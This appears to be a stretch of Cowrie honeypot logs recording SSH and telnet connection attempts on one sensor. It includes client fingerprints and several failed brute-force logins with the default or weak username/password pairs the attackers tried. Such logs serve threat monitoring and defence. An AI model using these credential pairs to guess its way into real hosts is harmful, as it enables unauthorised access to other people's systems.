{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:52.437031Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:52.442094Z","src_ip":"192.109.200.237","session":"44e32520373b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36050,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ce8e297e3c","protocol":"ssh","message":"New connection: 192.109.200.237:36050 (159.203.135.109:22) [session: 34ce8e297e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:55.087179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:55.092502Z","src_ip":"192.109.200.237","session":"34ce8e297e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:55.175578Z","src_ip":"192.109.200.237","session":"34ce8e297e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:55.429647Z","src_ip":"192.109.200.237","session":"34ce8e297e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03059983253479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:55.505223Z","src_ip":"209.127.178.212","session":"1eaf30f7f6d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:56.516111Z","src_ip":"192.109.200.237","session":"34ce8e297e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36052,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bdcfe18cac0","protocol":"ssh","message":"New connection: 192.109.200.237:36052 (159.203.135.109:22) [session: 7bdcfe18cac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:58.357535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:58.364828Z","src_ip":"192.109.200.237","session":"7bdcfe18cac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:58.553182Z","src_ip":"192.109.200.237","session":"7bdcfe18cac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:58.924909Z","src_ip":"192.109.200.237","session":"7bdcfe18cac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:00.011949Z","src_ip":"192.109.200.237","session":"7bdcfe18cac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":42330,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad818b2adb5","protocol":"ssh","message":"New connection: 192.169.243.246:42330 (10.17.0.5:22) [session: 8ad818b2adb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:00.545809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:00.550882Z","src_ip":"192.169.243.246","session":"8ad818b2adb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:00.624316Z","src_ip":"192.169.243.246","session":"8ad818b2adb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3","message":"login attempt [root/1qaz@WSX3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:00.965223Z","src_ip":"192.169.243.246","session":"8ad818b2adb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51502,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa51ed4910e","protocol":"ssh","message":"New connection: 192.109.200.237:51502 (159.203.135.109:22) [session: daa51ed4910e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:01.879598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:01.884961Z","src_ip":"192.109.200.237","session":"daa51ed4910e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:01.969532Z","src_ip":"192.109.200.237","session":"daa51ed4910e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:02.049071Z","src_ip":"192.169.243.246","session":"8ad818b2adb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:02.219666Z","src_ip":"192.109.200.237","session":"daa51ed4910e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:03.305216Z","src_ip":"192.109.200.237","session":"daa51ed4910e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51512,"dst_ip":"159.203.135.109","dst_port":22,"session":"e79eb9c79d08","protocol":"ssh","message":"New connection: 192.109.200.237:51512 (159.203.135.109:22) [session: e79eb9c79d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:05.409899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:05.417000Z","src_ip":"192.109.200.237","session":"e79eb9c79d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:05.499368Z","src_ip":"192.109.200.237","session":"e79eb9c79d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:05.749209Z","src_ip":"192.109.200.237","session":"e79eb9c79d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50862,"dst_ip":"10.17.0.5","dst_port":23,"session":"e158afb5b69f","protocol":"telnet","message":"New connection: 152.42.224.71:50862 (10.17.0.5:23) [session: e158afb5b69f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:06.202938Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:06.871801Z","src_ip":"192.109.200.237","session":"e79eb9c79d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":57024,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8fcddde952","protocol":"telnet","message":"New connection: 209.127.178.212:57024 (159.203.135.109:23) [session: da8fcddde952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:08.033769Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51520,"dst_ip":"159.203.135.109","dst_port":22,"session":"1003cb1126de","protocol":"ssh","message":"New connection: 192.109.200.237:51520 (159.203.135.109:22) [session: 1003cb1126de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:08.710368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:08.716037Z","src_ip":"192.109.200.237","session":"1003cb1126de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:08.799774Z","src_ip":"192.109.200.237","session":"1003cb1126de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:09.048890Z","src_ip":"192.109.200.237","session":"1003cb1126de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:10.133665Z","src_ip":"192.109.200.237","session":"1003cb1126de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48032,"dst_ip":"159.203.135.109","dst_port":22,"session":"e85a552d8802","protocol":"ssh","message":"New connection: 192.109.200.237:48032 (159.203.135.109:22) [session: e85a552d8802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:11.998194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:12.008830Z","src_ip":"192.109.200.237","session":"e85a552d8802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:12.191828Z","src_ip":"192.109.200.237","session":"e85a552d8802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:12.496284Z","src_ip":"192.109.200.237","session":"e85a552d8802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:13.581001Z","src_ip":"192.109.200.237","session":"e85a552d8802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.80234217643738,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:13.979706Z","src_ip":"152.42.224.71","session":"7ccb45b105b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48034,"dst_ip":"159.203.135.109","dst_port":22,"session":"797a7f79a64c","protocol":"ssh","message":"New connection: 192.109.200.237:48034 (159.203.135.109:22) [session: 797a7f79a64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:15.450135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:15.455962Z","src_ip":"192.109.200.237","session":"797a7f79a64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:15.542501Z","src_ip":"192.109.200.237","session":"797a7f79a64c","protocol":"ssh"}
